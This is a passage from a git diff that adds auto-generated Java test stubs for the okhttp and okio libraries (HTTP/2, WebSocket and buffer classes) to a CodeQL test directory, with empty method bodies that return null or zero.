+import okhttp3.internal.http2.Settings;
+import okio.BufferedSource;
+import okio.ByteString;
+
+public class Http2Reader implements Closeable
+{
+    protected Http2Reader() {}
+    public Http2Reader(BufferedSource p0, boolean p1){}
+    public final boolean nextFrame(boolean p0, Http2Reader.Handler p1){ return false; }
+    public final void readConnectionPreface(Http2Reader.Handler p0){}
+    public static Http2Reader.Companion Companion = null;
+    public void close(){}
+    static public class Companion
+    {
+        protected Companion() {}
+        public final Logger getLogger(){ return null; }
+        public final int lengthWithoutPadding(int p0, int p1, int p2){ return 0; }
+    }
+    static public interface Handler
+    {
+        void ackSettings();
+        void alternateService(int p0, String p1, ByteString p2, String p3, int p4, long p5);
+        void data(boolean p0, int p1, BufferedSource p2, int p3);
+        void goAway(int p0, ErrorCode p1, ByteString p2);
+        void headers(boolean p0, int p1, int p2, List<Header> p3);
+        void ping(boolean p0, int p1, int p2);
+        void priority(int p0, int p1, int p2, boolean p3);
+        void pushPromise(int p0, int p1, List<Header> p2);
+        void rstStream(int p0, ErrorCode p1);
+        void settings(boolean p0, Settings p1);
+        void windowUpdate(int p0, long p1);
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Stream.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Stream.java
new file mode 100644
index 00000000000..47b460bb385
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Stream.java
@@ -0,0 +1,104 @@
+// Generated automatically from okhttp3.internal.http2.Http2Stream for testing purposes
+
+package okhttp3.internal.http2;
+
+import java.io.IOException;
+import java.util.List;
+import okhttp3.Headers;
+import okhttp3.internal.http2.ErrorCode;
+import okhttp3.internal.http2.Header;
+import okhttp3.internal.http2.Http2Connection;
+import okio.AsyncTimeout;
+import okio.Buffer;
+import okio.BufferedSource;
+import okio.Sink;
+import okio.Source;
+import okio.Timeout;
+
+public class Http2Stream
+{
+    protected Http2Stream() {}
+    public Http2Stream(int p0, Http2Connection p1, boolean p2, boolean p3, Headers p4){}
+    public class FramingSink implements Sink
+    {
+        protected FramingSink() {}
+        public FramingSink(boolean p0){}
+        public Timeout timeout(){ return null; }
+        public final Headers getTrailers(){ return null; }
+        public final boolean getClosed(){ return false; }
+        public final boolean getFinished(){ return false; }
+        public final void setClosed(boolean p0){}
+        public final void setFinished(boolean p0){}
+        public final void setTrailers(Headers p0){}
+        public void close(){}
+        public void flush(){}
+        public void write(Buffer p0, long p1){}
+    }
+    public class FramingSource implements Source
+    {
+        protected FramingSource() {}
+        public FramingSource(long p0, boolean p1){}
+        public Timeout timeout(){ return null; }
+        public final Buffer getReadBuffer(){ return null; }
+        public final Buffer getReceiveBuffer(){ return null; }
+        public final Headers getTrailers(){ return null; }
+        public final boolean getClosed$okhttp(){ return false; }
+        public final boolean getFinished$okhttp(){ return false; }
+        public final void receive$okhttp(BufferedSource p0, long p1){}
+        public final void setClosed$okhttp(boolean p0){}
+        public final void setFinished$okhttp(boolean p0){}
+        public final void setTrailers(Headers p0){}
+        public long read(Buffer p0, long p1){ return 0; }
+        public void close(){}
+    }
+    public class StreamTimeout extends AsyncTimeout
+    {
+        protected IOException newTimeoutException(IOException p0){ return null; }
+        protected void timedOut(){}
+        public StreamTimeout(){}
+        public final void exitAndThrowIfTimedOut(){}
+    }
+    public final ErrorCode getErrorCode$okhttp(){ return null; }
+    public final Headers takeHeaders(){ return null; }
+    public final Headers trailers(){ return null; }
+    public final Http2Connection getConnection(){ return null; }
+    public final Http2Stream.FramingSink getSink$okhttp(){ return null; }
+    public final Http2Stream.FramingSource getSource$okhttp(){ return null; }
+    public final Http2Stream.StreamTimeout getReadTimeout$okhttp(){ return null; }
+    public final Http2Stream.StreamTimeout getWriteTimeout$okhttp(){ return null; }
+    public final IOException getErrorException$okhttp(){ return null; }
+    public final Sink getSink(){ return null; }
+    public final Source getSource(){ return null; }
+    public final Timeout readTimeout(){ return null; }
+    public final Timeout writeTimeout(){ return null; }
+    public final boolean isLocallyInitiated(){ return false; }
+    public final boolean isOpen(){ return false; }
+    public final int getId(){ return 0; }
+    public final long getReadBytesAcknowledged(){ return 0; }
+    public final long getReadBytesTotal(){ return 0; }
+    public final long getWriteBytesMaximum(){ return 0; }
+    public final long getWriteBytesTotal(){ return 0; }
+    public final void addBytesToWriteWindow(long p0){}
+    public final void cancelStreamIfNecessary$okhttp(){}
+    public final void checkOutNotClosed$okhttp(){}
+    public final void close(ErrorCode p0, IOException p1){}
+    public final void closeLater(ErrorCode p0){}
+    public final void enqueueTrailers(Headers p0){}
+    public final void receiveData(BufferedSource p0, int p1){}
+    public final void receiveHeaders(Headers p0, boolean p1){}
+    public final void receiveRstStream(ErrorCode p0){}
+    public final void setErrorCode$okhttp(ErrorCode p0){}
+    public final void setErrorException$okhttp(IOException p0){}
+    public final void setReadBytesAcknowledged$okhttp(long p0){}
+    public final void setReadBytesTotal$okhttp(long p0){}
+    public final void setWriteBytesMaximum$okhttp(long p0){}
+    public final void setWriteBytesTotal$okhttp(long p0){}
+    public final void waitForIo$okhttp(){}
+    public final void writeHeaders(List<Header> p0, boolean p1, boolean p2){}
+    public static Http2Stream.Companion Companion = null;
+    public static long EMIT_BUFFER_SIZE = 0;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Writer.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Writer.java
new file mode 100644
index 00000000000..c05713f93c2
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Http2Writer.java
@@ -0,0 +1,39 @@
+// Generated automatically from okhttp3.internal.http2.Http2Writer for testing purposes
+
+package okhttp3.internal.http2;
+
+import java.io.Closeable;
+import java.util.List;
+import okhttp3.internal.http2.ErrorCode;
+import okhttp3.internal.http2.Header;
+import okhttp3.internal.http2.Hpack;
+import okhttp3.internal.http2.Settings;
+import okio.Buffer;
+import okio.BufferedSink;
+
+public class Http2Writer implements Closeable
+{
+    protected Http2Writer() {}
+    public Http2Writer(BufferedSink p0, boolean p1){}
+    public final Hpack.Writer getHpackWriter(){ return null; }
+    public final int maxDataLength(){ return 0; }
+    public final void applyAndAckSettings(Settings p0){}
+    public final void connectionPreface(){}
+    public final void data(boolean p0, int p1, Buffer p2, int p3){}
+    public final void dataFrame(int p0, int p1, Buffer p2, int p3){}
+    public final void flush(){}
+    public final void frameHeader(int p0, int p1, int p2, int p3){}
+    public final void goAway(int p0, ErrorCode p1, byte[] p2){}
+    public final void headers(boolean p0, int p1, List<Header> p2){}
+    public final void ping(boolean p0, int p1, int p2){}
+    public final void pushPromise(int p0, int p1, List<Header> p2){}
+    public final void rstStream(int p0, ErrorCode p1){}
+    public final void settings(Settings p0){}
+    public final void windowUpdate(int p0, long p1){}
+    public static Http2Writer.Companion Companion = null;
+    public void close(){}
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/PushObserver.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/PushObserver.java
new file mode 100644
index 00000000000..a4d88297d2a
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/PushObserver.java
@@ -0,0 +1,22 @@
+// Generated automatically from okhttp3.internal.http2.PushObserver for testing purposes
+
+package okhttp3.internal.http2;
+
+import java.util.List;
+import okhttp3.internal.http2.ErrorCode;
+import okhttp3.internal.http2.Header;
+import okio.BufferedSource;
+
+public interface PushObserver
+{
+    boolean onData(int p0, BufferedSource p1, int p2, boolean p3);
+    boolean onHeaders(int p0, List<Header> p1, boolean p2);
+    boolean onRequest(int p0, List<Header> p1);
+    static PushObserver CANCEL = null;
+    static PushObserver.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+    void onReset(int p0, ErrorCode p1);
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Settings.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Settings.java
new file mode 100644
index 00000000000..7078c1ad1d1
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/http2/Settings.java
@@ -0,0 +1,34 @@
+// Generated automatically from okhttp3.internal.http2.Settings for testing purposes
+
+package okhttp3.internal.http2;
+
+
+public class Settings
+{
+    public Settings(){}
+    public final Settings set(int p0, int p1){ return null; }
+    public final boolean getEnablePush(boolean p0){ return false; }
+    public final boolean isSet(int p0){ return false; }
+    public final int get(int p0){ return 0; }
+    public final int getHeaderTableSize(){ return 0; }
+    public final int getInitialWindowSize(){ return 0; }
+    public final int getMaxConcurrentStreams(){ return 0; }
+    public final int getMaxFrameSize(int p0){ return 0; }
+    public final int getMaxHeaderListSize(int p0){ return 0; }
+    public final int size(){ return 0; }
+    public final void clear(){}
+    public final void merge(Settings p0){}
+    public static Settings.Companion Companion = null;
+    public static int COUNT = 0;
+    public static int DEFAULT_INITIAL_WINDOW_SIZE = 0;
+    public static int ENABLE_PUSH = 0;
+    public static int HEADER_TABLE_SIZE = 0;
+    public static int INITIAL_WINDOW_SIZE = 0;
+    public static int MAX_CONCURRENT_STREAMS = 0;
+    public static int MAX_FRAME_SIZE = 0;
+    public static int MAX_HEADER_LIST_SIZE = 0;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/io/FileSystem.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/io/FileSystem.java
new file mode 100644
index 00000000000..1967f0d99d8
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/io/FileSystem.java
@@ -0,0 +1,25 @@
+// Generated automatically from okhttp3.internal.io.FileSystem for testing purposes
+
+package okhttp3.internal.io;
+
+import java.io.File;
+import okio.Sink;
+import okio.Source;
+
+public interface FileSystem
+{
+    Sink appendingSink(File p0);
+    Sink sink(File p0);
+    Source source(File p0);
+    boolean exists(File p0);
+    long size(File p0);
+    static FileSystem SYSTEM = null;
+    static FileSystem.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+    void delete(File p0);
+    void deleteContents(File p0);
+    void rename(File p0, File p1);
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/tls/CertificateChainCleaner.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/tls/CertificateChainCleaner.java
new file mode 100644
index 00000000000..1ebaf1ee917
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/tls/CertificateChainCleaner.java
@@ -0,0 +1,21 @@
+// Generated automatically from okhttp3.internal.tls.CertificateChainCleaner for testing purposes
+
+package okhttp3.internal.tls;
+
+import java.security.cert.Certificate;
+import java.security.cert.X509Certificate;
+import java.util.List;
+import javax.net.ssl.X509TrustManager;
+
+abstract public class CertificateChainCleaner
+{
+    public CertificateChainCleaner(){}
+    public abstract List<Certificate> clean(List<? extends Certificate> p0, String p1);
+    public static CertificateChainCleaner.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final CertificateChainCleaner get(X509Certificate... p0){ return null; }
+        public final CertificateChainCleaner get(X509TrustManager p0){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/RealWebSocket.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/RealWebSocket.java
new file mode 100644
index 00000000000..87457777e0b
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/RealWebSocket.java
@@ -0,0 +1,66 @@
+// Generated automatically from okhttp3.internal.ws.RealWebSocket for testing purposes
+
+package okhttp3.internal.ws;
+
+import java.io.Closeable;
+import java.util.Random;
+import java.util.concurrent.TimeUnit;
+import okhttp3.OkHttpClient;
+import okhttp3.Request;
+import okhttp3.Response;
+import okhttp3.WebSocket;
+import okhttp3.WebSocketListener;
+import okhttp3.internal.concurrent.TaskRunner;
+import okhttp3.internal.connection.Exchange;
+import okhttp3.internal.ws.WebSocketExtensions;
+import okhttp3.internal.ws.WebSocketReader;
+import okio.BufferedSink;
+import okio.BufferedSource;
+import okio.ByteString;
+
+public class RealWebSocket implements WebSocket, WebSocketReader.FrameCallback
+{
+    protected RealWebSocket() {}
+    abstract static public class Streams implements Closeable
+    {
+        protected Streams() {}
+        public Streams(boolean p0, BufferedSource p1, BufferedSink p2){}
+        public final BufferedSink getSink(){ return null; }
+        public final BufferedSource getSource(){ return null; }
+        public final boolean getClient(){ return false; }
+    }
+    public RealWebSocket(TaskRunner p0, Request p1, WebSocketListener p2, Random p3, long p4, WebSocketExtensions p5, long p6){}
+    public Request request(){ return null; }
+    public boolean close(int p0, String p1){ return false; }
+    public boolean send(ByteString p0){ return false; }
+    public boolean send(String p0){ return false; }
+    public final WebSocketListener getListener$okhttp(){ return null; }
+    public final boolean close(int p0, String p1, long p2){ return false; }
+    public final boolean pong(ByteString p0){ return false; }
+    public final boolean processNextFrame(){ return false; }
+    public final boolean writeOneFrame$okhttp(){ return false; }
+    public final int receivedPingCount(){ return 0; }
+    public final int receivedPongCount(){ return 0; }
+    public final int sentPingCount(){ return 0; }
+    public final void awaitTermination(long p0, TimeUnit p1){}
+    public final void checkUpgradeSuccess$okhttp(Response p0, Exchange p1){}
+    public final void connect(OkHttpClient p0){}
+    public final void failWebSocket(Exception p0, Response p1){}
+    public final void initReaderAndWriter(String p0, RealWebSocket.Streams p1){}
+    public final void loopReader(){}
+    public final void tearDown(){}
+    public final void writePingFrame$okhttp(){}
+    public long queueSize(){ return 0; }
+    public static RealWebSocket.Companion Companion = null;
+    public static long DEFAULT_MINIMUM_DEFLATE_SIZE = 0;
+    public void cancel(){}
+    public void onReadClose(int p0, String p1){}
+    public void onReadMessage(ByteString p0){}
+    public void onReadMessage(String p0){}
+    public void onReadPing(ByteString p0){}
+    public void onReadPong(ByteString p0){}
+    static public class Companion
+    {
+        protected Companion() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/WebSocketExtensions.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/WebSocketExtensions.java
new file mode 100644
index 00000000000..f2e8945f548
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/WebSocketExtensions.java
@@ -0,0 +1,34 @@
+// Generated automatically from okhttp3.internal.ws.WebSocketExtensions for testing purposes
+
+package okhttp3.internal.ws;
+
+import okhttp3.Headers;
+
+public class WebSocketExtensions
+{
+    public String toString(){ return null; }
+    public WebSocketExtensions(){}
+    public WebSocketExtensions(boolean p0, Integer p1, boolean p2, Integer p3, boolean p4, boolean p5){}
+    public boolean equals(Object p0){ return false; }
+    public final Integer clientMaxWindowBits = null;
+    public final Integer component2(){ return null; }
+    public final Integer component4(){ return null; }
+    public final Integer serverMaxWindowBits = null;
+    public final WebSocketExtensions copy(boolean p0, Integer p1, boolean p2, Integer p3, boolean p4, boolean p5){ return null; }
+    public final boolean clientNoContextTakeover = false;
+    public final boolean component1(){ return false; }
+    public final boolean component3(){ return false; }
+    public final boolean component5(){ return false; }
+    public final boolean component6(){ return false; }
+    public final boolean noContextTakeover(boolean p0){ return false; }
+    public final boolean perMessageDeflate = false;
+    public final boolean serverNoContextTakeover = false;
+    public final boolean unknownValues = false;
+    public int hashCode(){ return 0; }
+    public static WebSocketExtensions.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final WebSocketExtensions parse(Headers p0){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/WebSocketReader.java b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/WebSocketReader.java
new file mode 100644
index 00000000000..6dfdd507843
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okhttp3/internal/ws/WebSocketReader.java
@@ -0,0 +1,24 @@
+// Generated automatically from okhttp3.internal.ws.WebSocketReader for testing purposes
+
+package okhttp3.internal.ws;
+
+import java.io.Closeable;
+import okio.BufferedSource;
+import okio.ByteString;
+
+public class WebSocketReader implements Closeable
+{
+    protected WebSocketReader() {}
+    public WebSocketReader(boolean p0, BufferedSource p1, WebSocketReader.FrameCallback p2, boolean p3, boolean p4){}
+    public final BufferedSource getSource(){ return null; }
+    public final void processNextFrame(){}
+    public void close(){}
+    static public interface FrameCallback
+    {
+        void onReadClose(int p0, String p1);
+        void onReadMessage(ByteString p0);
+        void onReadMessage(String p0);
+        void onReadPing(ByteString p0);
+        void onReadPong(ByteString p0);
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/AsyncTimeout.java b/java/ql/test/stubs/okhttp-4.9.3/okio/AsyncTimeout.java
new file mode 100644
index 00000000000..2f341cfac25
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/AsyncTimeout.java
@@ -0,0 +1,28 @@
+// Generated automatically from okio.AsyncTimeout for testing purposes
+
+package okio;
+
+import java.io.IOException;
+import kotlin.jvm.functions.Function0;
+import okio.Sink;
+import okio.Source;
+import okio.Timeout;
+
+public class AsyncTimeout extends Timeout
+{
+    protected IOException newTimeoutException(IOException p0){ return null; }
+    protected void timedOut(){}
+    public AsyncTimeout(){}
+    public final <T> T withTimeout(Function0<? extends T> p0){ return null; }
+    public final IOException access$newTimeoutException(IOException p0){ return null; }
+    public final Sink sink(Sink p0){ return null; }
+    public final Source source(Source p0){ return null; }
+    public final boolean exit(){ return false; }
+    public final void enter(){}
+    public static AsyncTimeout.Companion Companion = null;
+    static public class Companion
+    {
+        protected Companion() {}
+        public final AsyncTimeout awaitTimeout$okio(){ return null; }
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/Buffer.java b/java/ql/test/stubs/okhttp-4.9.3/okio/Buffer.java
new file mode 100644
index 00000000000..3a270f5e9eb
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/Buffer.java
@@ -0,0 +1,469 @@
+// Generated automatically from okio.Buffer for testing purposes
+
+package okio;
+
+import java.io.Closeable;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.nio.ByteBuffer;
+import java.nio.channels.ByteChannel;
+import java.nio.charset.Charset;
+import okio.BufferedSink;
+import okio.BufferedSource;
+import okio.ByteString;
+import okio.Options;
+import okio.Segment;
+import okio.Sink;
+import okio.Source;
+import okio.Timeout;
+
+public class Buffer implements BufferedSink, BufferedSource, ByteChannel, Cloneable {
+    public Buffer buffer() {
+        return null;
+    }
+
+    public Buffer clone() {
+        return null;
+    }
+
+    public Buffer emit() {
+        return null;
+    }
+
+    public Buffer emitCompleteSegments() {
+        return null;
+    }
+
+    public Buffer getBuffer() {
+        return null;
+    }
+
+    public Buffer write(ByteString p0) {
+        return null;
+    }
+
+    public Buffer write(ByteString p0, int p1, int p2) {
+        return null;
+    }
+
+    public Buffer write(Source p0, long p1) {
+        return null;
+    }
+
+    public Buffer write(byte[] p0) {
+        return null;
+    }
+
+    public Buffer write(byte[] p0, int p1, int p2) {
+        return null;
+    }
+
+    public Buffer writeByte(int p0) {
+        return null;
+    }
+
+    public Buffer writeDecimalLong(long p0) {
+        return null;
+    }
+
+    public Buffer writeHexadecimalUnsignedLong(long p0) {
+        return null;
+    }
+
+    public Buffer writeInt(int p0) {
+        return null;
+    }
+
+    public Buffer writeIntLe(int p0) {
+        return null;
+    }
+
+    public Buffer writeLong(long p0) {
+        return null;
+    }
+
+    public Buffer writeLongLe(long p0) {
+        return null;
+    }
+
+    public Buffer writeShort(int p0) {
+        return null;
+    }
+
+    public Buffer writeShortLe(int p0) {
+        return null;
+    }
+
+    public Buffer writeString(String p0, Charset p1) {
+        return null;
+    }
+
+    public Buffer writeString(String p0, int p1, int p2, Charset p3) {
+        return null;
+    }
+
+    public Buffer writeUtf8(String p0) {
+        return null;
+    }
+
+    public Buffer writeUtf8(String p0, int p1, int p2) {
+        return null;
+    }
+
+    public Buffer writeUtf8CodePoint(int p0) {
+        return null;
+    }
+
+    public Buffer() {}
+
+    public BufferedSource peek() {
+        return null;
+    }
+
+    public ByteString readByteString() {
+        return null;
+    }
+
+    public ByteString readByteString(long p0) {
+        return null;
+    }
+
+    public InputStream inputStream() {
+        return null;
+    }
+
+    public OutputStream outputStream() {
+        return null;
+    }
+
+    public Segment head = null;
+
+    public String readString(Charset p0) {
+        return null;
+    }
+
+    public String readString(long p0, Charset p1) {
+        return null;
+    }
+
+    public String readUtf8() {
+        return null;
+    }
+
+    public String readUtf8(long p0) {
+        return null;
+    }
+
+    public String readUtf8Line() {
+        return null;
+    }
+
+    public String readUtf8LineStrict() {
+        return null;
+    }
+
+    public String readUtf8LineStrict(long p0) {
+        return null;
+    }
+
+    public String toString() {
+        return null;
+    }
+
+    public Timeout timeout() {
+        return null;
+    }
+
+    public boolean equals(Object p0) {
+        return false;
+    }
+
+    public boolean exhausted() {
+        return false;
+    }
+
+    public boolean isOpen() {
+        return false;
+    }
+
+    public boolean rangeEquals(long p0, ByteString p1) {
+        return false;
+    }
+
+    public boolean rangeEquals(long p0, ByteString p1, int p2, int p3) {
+        return false;
+    }
+
+    public boolean request(long p0) {
+        return false;
+    }
+
+    public byte readByte() {
+        return 0;
+    }
+
+    public byte[] readByteArray() {
+        return null;
+    }
+
+    public byte[] readByteArray(long p0) {
+        return null;
+    }
+
+    public final Buffer copy() {
+        return null;
+    }
+
+    public final Buffer copyTo(Buffer p0, long p1) {
+        return null;
+    }
+
+    public final Buffer copyTo(Buffer p0, long p1, long p2) {
+        return null;
+    }
+
+    public final Buffer copyTo(OutputStream p0) {
+        return null;
+    }
+
+    public final Buffer copyTo(OutputStream p0, long p1) {
+        return null;
+    }
+
+    public final Buffer copyTo(OutputStream p0, long p1, long p2) {
+        return null;
+    }
+
+    public final Buffer readFrom(InputStream p0) {
+        return null;
+    }
+
+    public final Buffer readFrom(InputStream p0, long p1) {
+        return null;
+    }
+
+    public final Buffer writeTo(OutputStream p0) {
+        return null;
+    }
+
+    public final Buffer writeTo(OutputStream p0, long p1) {
+        return null;
+    }
+
+    public final Buffer.UnsafeCursor readAndWriteUnsafe() {
+        return null;
+    }
+
+    public final Buffer.UnsafeCursor readAndWriteUnsafe(Buffer.UnsafeCursor p0) {
+        return null;
+    }
+
+    public final Buffer.UnsafeCursor readUnsafe() {
+        return null;
+    }
+
+    public final Buffer.UnsafeCursor readUnsafe(Buffer.UnsafeCursor p0) {
+        return null;
+    }
+
+    public final ByteString hmacSha1(ByteString p0) {
+        return null;
+    }
+
+    public final ByteString hmacSha256(ByteString p0) {
+        return null;
+    }
+
+    public final ByteString hmacSha512(ByteString p0) {
+        return null;
+    }
+
+    public final ByteString md5() {
+        return null;
+    }
+
+    public final ByteString sha1() {
+        return null;
+    }
+
+    public final ByteString sha256() {
+        return null;
+    }
+
+    public final ByteString sha512() {
+        return null;
+    }
+
+    public final ByteString snapshot() {
+        return null;
+    }
+
+    public final ByteString snapshot(int p0) {
+        return null;
+    }
+
+    public final Segment writableSegment$okio(int p0) {
+        return null;
+    }
+
+    public final byte getByte(long p0) {
+        return 0;
+    }
+
+    public final long completeSegmentByteCount() {
+        return 0;
+    }
+
+    public final long size() {
+        return 0;
+    }
+
+    public final void clear() {}
+
+    public final void setSize$okio(long p0) {}
+
+    public int hashCode() {
+        return 0;
+    }
+
+    public int read(ByteBuffer p0) {
+        return 0;
+    }
+
+    public int read(byte[] p0) {
+        return 0;
+    }
+
+    public int read(byte[] p0, int p1, int p2) {
+        return 0;
+    }
+
+    public int readInt() {
+        return 0;
+    }
+
+    public int readIntLe() {
+        return 0;
+    }
+
+    public int readUtf8CodePoint() {
+        return 0;
+    }
+
+    public int select(Options p0) {
+        return 0;
+    }
+
+    public int write(ByteBuffer p0) {
+        return 0;
+    }
+
+    public long indexOf(ByteString p0) {
+        return 0;
+    }
+
+    public long indexOf(ByteString p0, long p1) {
+        return 0;
+    }
+
+    public long indexOf(byte p0) {
+        return 0;
+    }
+
+    public long indexOf(byte p0, long p1) {
+        return 0;
+    }
+
+    public long indexOf(byte p0, long p1, long p2) {
+        return 0;
+    }
+
+    public long indexOfElement(ByteString p0) {
+        return 0;
+    }
+
+    public long indexOfElement(ByteString p0, long p1) {
+        return 0;
+    }
+
+    public long read(Buffer p0, long p1) {
+        return 0;
+    }
+
+    public long readAll(Sink p0) {
+        return 0;
+    }
+
+    public long readDecimalLong() {
+        return 0;
+    }
+
+    public long readHexadecimalUnsignedLong() {
+        return 0;
+    }
+
+    public long readLong() {
+        return 0;
+    }
+
+    public long readLongLe() {
+        return 0;
+    }
+
+    public long writeAll(Source p0) {
+        return 0;
+    }
+
+    public short readShort() {
+        return 0;
+    }
+
+    public short readShortLe() {
+        return 0;
+    }
+
+    public void close() {}
+
+    public void flush() {}
+
+    public void readFully(Buffer p0, long p1) {}
+
+    public void readFully(byte[] p0) {}
+
+    public void require(long p0) {}
+
+    public void skip(long p0) {}
+
+    public void write(Buffer p0, long p1) {}
+
+    static public class UnsafeCursor implements Closeable {
+        public Buffer buffer = null;
+
+        public UnsafeCursor() {}
+
+        public boolean readWrite = false;
+        public byte[] data = null;
+
+        public final int next() {
+            return 0;
+        }
+
+        public final int seek(long p0) {
+            return 0;
+        }
+
+        public final long expandBuffer(int p0) {
+            return 0;
+        }
+
+        public final long resizeBuffer(long p0) {
+            return 0;
+        }
+
+        public int end = 0;
+        public int start = 0;
+        public long offset = 0;
+
+        public void close() {}
+    }
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/BufferedSink.java b/java/ql/test/stubs/okhttp-4.9.3/okio/BufferedSink.java
new file mode 100644
index 00000000000..617924163a5
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/BufferedSink.java
@@ -0,0 +1,41 @@
+// Generated automatically from okio.BufferedSink for testing purposes
+
+package okio;
+
+import java.io.OutputStream;
+import java.nio.channels.WritableByteChannel;
+import java.nio.charset.Charset;
+import okio.Buffer;
+import okio.ByteString;
+import okio.Sink;
+import okio.Source;
+
+public interface BufferedSink extends Sink, WritableByteChannel
+{
+    Buffer buffer();
+    Buffer getBuffer();
+    BufferedSink emit();
+    BufferedSink emitCompleteSegments();
+    BufferedSink write(ByteString p0);
+    BufferedSink write(ByteString p0, int p1, int p2);
+    BufferedSink write(Source p0, long p1);
+    BufferedSink write(byte[] p0);
+    BufferedSink write(byte[] p0, int p1, int p2);
+    BufferedSink writeByte(int p0);
+    BufferedSink writeDecimalLong(long p0);
+    BufferedSink writeHexadecimalUnsignedLong(long p0);
+    BufferedSink writeInt(int p0);
+    BufferedSink writeIntLe(int p0);
+    BufferedSink writeLong(long p0);
+    BufferedSink writeLongLe(long p0);
+    BufferedSink writeShort(int p0);
+    BufferedSink writeShortLe(int p0);
+    BufferedSink writeString(String p0, Charset p1);
+    BufferedSink writeString(String p0, int p1, int p2, Charset p3);
+    BufferedSink writeUtf8(String p0);
+    BufferedSink writeUtf8(String p0, int p1, int p2);
+    BufferedSink writeUtf8CodePoint(int p0);
+    OutputStream outputStream();
+    long writeAll(Source p0);
+    void flush();
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/BufferedSource.java b/java/ql/test/stubs/okhttp-4.9.3/okio/BufferedSource.java
new file mode 100644
index 00000000000..fb16e1e8cf5
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/BufferedSource.java
@@ -0,0 +1,60 @@
+// Generated automatically from okio.BufferedSource for testing purposes
+
+package okio;
+
+import java.io.InputStream;
+import java.nio.channels.ReadableByteChannel;
+import java.nio.charset.Charset;
+import okio.Buffer;
+import okio.ByteString;
+import okio.Options;
+import okio.Sink;
+import okio.Source;
+
+public interface BufferedSource extends ReadableByteChannel, Source
+{
+    Buffer buffer();
+    Buffer getBuffer();
+    BufferedSource peek();
+    ByteString readByteString();
+    ByteString readByteString(long p0);
+    InputStream inputStream();
+    String readString(Charset p0);
+    String readString(long p0, Charset p1);
+    String readUtf8();
+    String readUtf8(long p0);
+    String readUtf8Line();
+    String readUtf8LineStrict();
+    String readUtf8LineStrict(long p0);
+    boolean exhausted();
+    boolean rangeEquals(long p0, ByteString p1);
+    boolean rangeEquals(long p0, ByteString p1, int p2, int p3);
+    boolean request(long p0);
+    byte readByte();
+    byte[] readByteArray();
+    byte[] readByteArray(long p0);
+    int read(byte[] p0);
+    int read(byte[] p0, int p1, int p2);
+    int readInt();
+    int readIntLe();
+    int readUtf8CodePoint();
+    int select(Options p0);
+    long indexOf(ByteString p0);
+    long indexOf(ByteString p0, long p1);
+    long indexOf(byte p0);
+    long indexOf(byte p0, long p1);
+    long indexOf(byte p0, long p1, long p2);
+    long indexOfElement(ByteString p0);
+    long indexOfElement(ByteString p0, long p1);
+    long readAll(Sink p0);
+    long readDecimalLong();
+    long readHexadecimalUnsignedLong();
+    long readLong();
+    long readLongLe();
+    short readShort();
+    short readShortLe();
+    void readFully(Buffer p0, long p1);
+    void readFully(byte[] p0);
+    void require(long p0);
+    void skip(long p0);
+}
diff --git a/java/ql/test/stubs/okhttp-4.9.3/okio/ByteString.java b/java/ql/test/stubs/okhttp-4.9.3/okio/ByteString.java
new file mode 100644
index 00000000000..2ac5fe9901a
--- /dev/null
+++ b/java/ql/test/stubs/okhttp-4.9.3/okio/ByteString.java
@@ -0,0 +1,284 @@
+// Generated automatically from okio.ByteString for testing purposes
+
+package okio;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.io.Serializable;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
